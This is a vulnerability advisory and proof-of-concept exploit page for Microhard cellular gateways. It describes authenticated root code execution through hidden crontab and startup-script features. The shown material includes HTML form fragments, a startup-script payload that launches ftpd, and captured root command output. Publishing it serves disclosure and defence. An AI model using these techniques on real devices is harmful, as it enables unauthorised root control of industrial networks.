Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway – Remote Root

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit

Vendor: Microhard Systems Inc.

Product web page: http://www.microhardcorp.com

Affected version: IPn4G 1.1.0 build 1098

IPn3Gb 2.2.0 build 2160

IPn4Gb 1.1.6 build 1184-14

IPn4Gb 1.1.0 Rev 2 build 1090-2

IPn4Gb 1.1.0 Rev 2 build 1086

Bullet-3G 1.2.0 Rev A build 1032

VIP4Gb 1.1.6 build 1204

VIP4G 1.1.6 Rev 3.0 build 1184-14

VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196

IPn3Gii / Bullet-3G 1.2.0 build 1076

IPn4Gii / Bullet-LTE 1.2.0 build 1078

BulletPlus 1.3.0 build 1036

Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution

using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb

features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control

Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial

RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses

the widespread deployment of cellular network infrastructure for critical data collection.

From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!

The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It

provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength

wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things

to the next level by providing features such as Ethernet with PoE, RS232 Serial port

and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated

Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution

worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength

wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote

cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight

system integration and design flexibility with dual Ethernet Ports and high power

802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access

Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE

network infrastructure for critical data communications. The VIP4Gb provides simultaneous

network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital

I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in

any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.

It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The application suffers from multiple authenticated arbitrary remote code execution

vulnerabilities with highest privileges. This is due to multiple hidden and undocumented

features within the admin interface that allows an attacker to create crontab jobs and/or

modify the system startup script that allows execution of arbitrary code as root user.

Tested on: httpd-ssl-1.0.0

Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2018-5479

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5479.php

13.03.2018

--

Crontab #1:

-----------

<html>

<body>

</form>

</body>

</html>

---

curl http://192.168.1.1/pwn.txt

uid=0(root) gid=0(root) groups=0(root)

Start ftpd:

-----------

<html>

<body>

<input type="hidden" name="filecontent" value="#!/bin/sh /etc/rc.common

START=90

# place your own startup commands here

#

# REMEMBER: You *MUST* place an '&' after launching programs you

# that are to continue running in the background.

#

# i.e.

# BAD: upnpd

# GOOD: upnpd &

#

# Failure to do this will result in the startup process halting

# on this file and the diagnostic light remaining on (at least

# for WRT54G(s) models).

#

ftpd &

" />

</form>

</body>

</html>

Crontab #2:

-----------

<html>

<body>

</form>

</body>

</html>

---

curl http://192.168.1.1/os.txt

Linux IPn4G 2.6.32.9 #1 Mon Jun 20 15:28:30 MDT 2016 mips GNU/Linux

drwxr-xr-x 5 root root 0 Jul 1 14:01 .

drwxr-xr-x 7 root root 0 Dec 31 1969 ..

-rw-r--r-- 1 root root 4 Apr 12 2010 .version

-rw-r--r-- 1 root root 13461 May 8 15:54 IPn4G.config

drwxr-xr-x 3 root root 0 Jun 20 2016 cgi-bin

-rw-r--r-- 1 root root 2672 Apr 1 2010 colorize.js

-rwxr-xr-x 1 root root 3638 May 10 2010 favicon.ico

drwxr-xr-x 2 root root 959 Jun 20 2016 images

-rw-r--r-- 1 root root 600 Feb 12 2013 index.html

drwxr-xr-x 2 root root 224 Jun 20 2016 js

-rw-r--r-- 1 root root 68 Mar 1 14:09 os.txt

drwxr-xr-x 2 root root 79 Jun 20 2016 svggraph

drwxr-xr-x 2 root root 0 Jul 1 14:02 themes

drwxr-xr-x 2 root root 0 May 8 16:21 vnstat

-rw-r--r-- 1 root root 953 Apr 1 2010 webif.js

uid=0(root) gid=0(root) groups=0(root)

Disable firewall:

-----------------

<html>

<body>

</form>

</body>

</html>

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